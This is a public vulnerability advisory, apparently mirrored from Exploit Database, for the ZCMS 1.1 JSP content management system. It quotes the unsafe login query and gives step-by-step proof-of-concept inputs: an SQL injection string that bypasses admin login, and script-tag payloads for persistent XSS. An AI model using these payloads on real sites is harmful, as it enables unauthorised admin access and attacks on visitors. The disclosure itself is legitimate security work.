ZCMS 1.1 – Multiple Vulnerabilities

• Exploit Database
• 13 阅读

• 作者： hyp3rlinx
  日期： 2015-06-12
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/37272/

• # Exploit Title:SQL Injection & Persistent XSS
  # Google Dork: intitle: SQL Injection & Persistent XSS
  # Date: 2015-06-12
  # Exploit Author:John Page ( hyp3rlinx )
  # Website: hyp3rlinx.altervista.org
  # Vendor Homepage: zencherry.com
  # Software Link: sourceforge.net/projects/zencherrycms
  # Version: 1.1
  # Tested on: windows 7 on Apache Tomcat
  # Category: webapps
  
  
  Vendor:
  =============================================
  http://zencherry.com/
  http://sourceforge.net/projects/zencherrycms
  
  
  
  Product:
  ==================================================
  ZCMS 1.1 JavaServer Pages Content Management System
  
  
  
  Advisory Information:
  ==============================
  SQL Injection & Persistent XSS
  
  
  
  Vulnerability Details:
  ======================
  SQL Injection (CVE-2015-7346):
  Login to admin area requires a password but is easily bypassed
  using classic SQLInjection method because application uses
  concatenated user input to construct SQL queries.
  
  
  ZCMS exploitable admin login code:
  ==================================
  squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users
  WHERE
  status = 0 AND username = '"+username+"' AND password =
  '"+request.getParameter("pass") +"' AND type = 1 ;";
  
  
  So we just supply an Admin password like --->HELL' OR '2'='2
  which will resolve as true!
  
  
  SQL Inject XSS Payload:
  =======================
  We can also inject persisten XSS payload directly to MySQL database
  subverting
  all character filtering leveraging existing SQLInjection vulnerabilities.
  
  
  Persistent XSS (CVE-2015-7347):
  ===============
  
  Another persistent XSS vector is here in author field for comments:
  http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page
  number]
  
  
  Exploit code(s):
  ===============
  
  1) Bypass admin login
  ---------------------
  localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=login
  Enter 'admin' for username field
  Enter HELL' OR '2'='2 for the pass field
  
  
  2) Inject XSS using SQL Injection
  ---------------------------------
  http://localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=editpost&p=1&title=
  "<script>alert(1)</script>
  &content=<script>alert(1)</script>&author=<script>alert(1)</script>
  SATAN&visibility=1&type=1&comm=0
  
  
  3) Persistent XSS field
  -----------------------
  http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page
  number]
  Inject <script>alert(666)</script> in author input field.
  
  
  
  Disclosure Timeline:
  =========================================================
  Vendor Notification: NA
  June 12, 2015 : Public Disclosure
  
  
  
  Severity Level:
  =========================================================
  High
  
  
  
  Description:
  ==========================================================
  
  Request Method(s): [+] GET & POST
  
  
  Vulnerable Product:[+] ZCMS_1.1
  
  
  Vulnerable Parameter(s): [+] pass, title, content, author
  
  
  Affected Area(s):[+] Admin, CMS
  
  
  ===============================================================
  
  [+] Disclaimer
  Permission is hereby granted for the redistribution of this advisory,
  provided that
  it is not altered except by reformatting it, and that due credit is given.
  Permission is
  explicitly given for insertion in vulnerability databases and similar,
  provided that
  due credit is given to the author. The author is not responsible for any
  misuse of the
  information contained herein and prohibits any malicious use of all
  security related
  information or exploits by the author or elsewhere.
  
  
  (hyp3rlinx)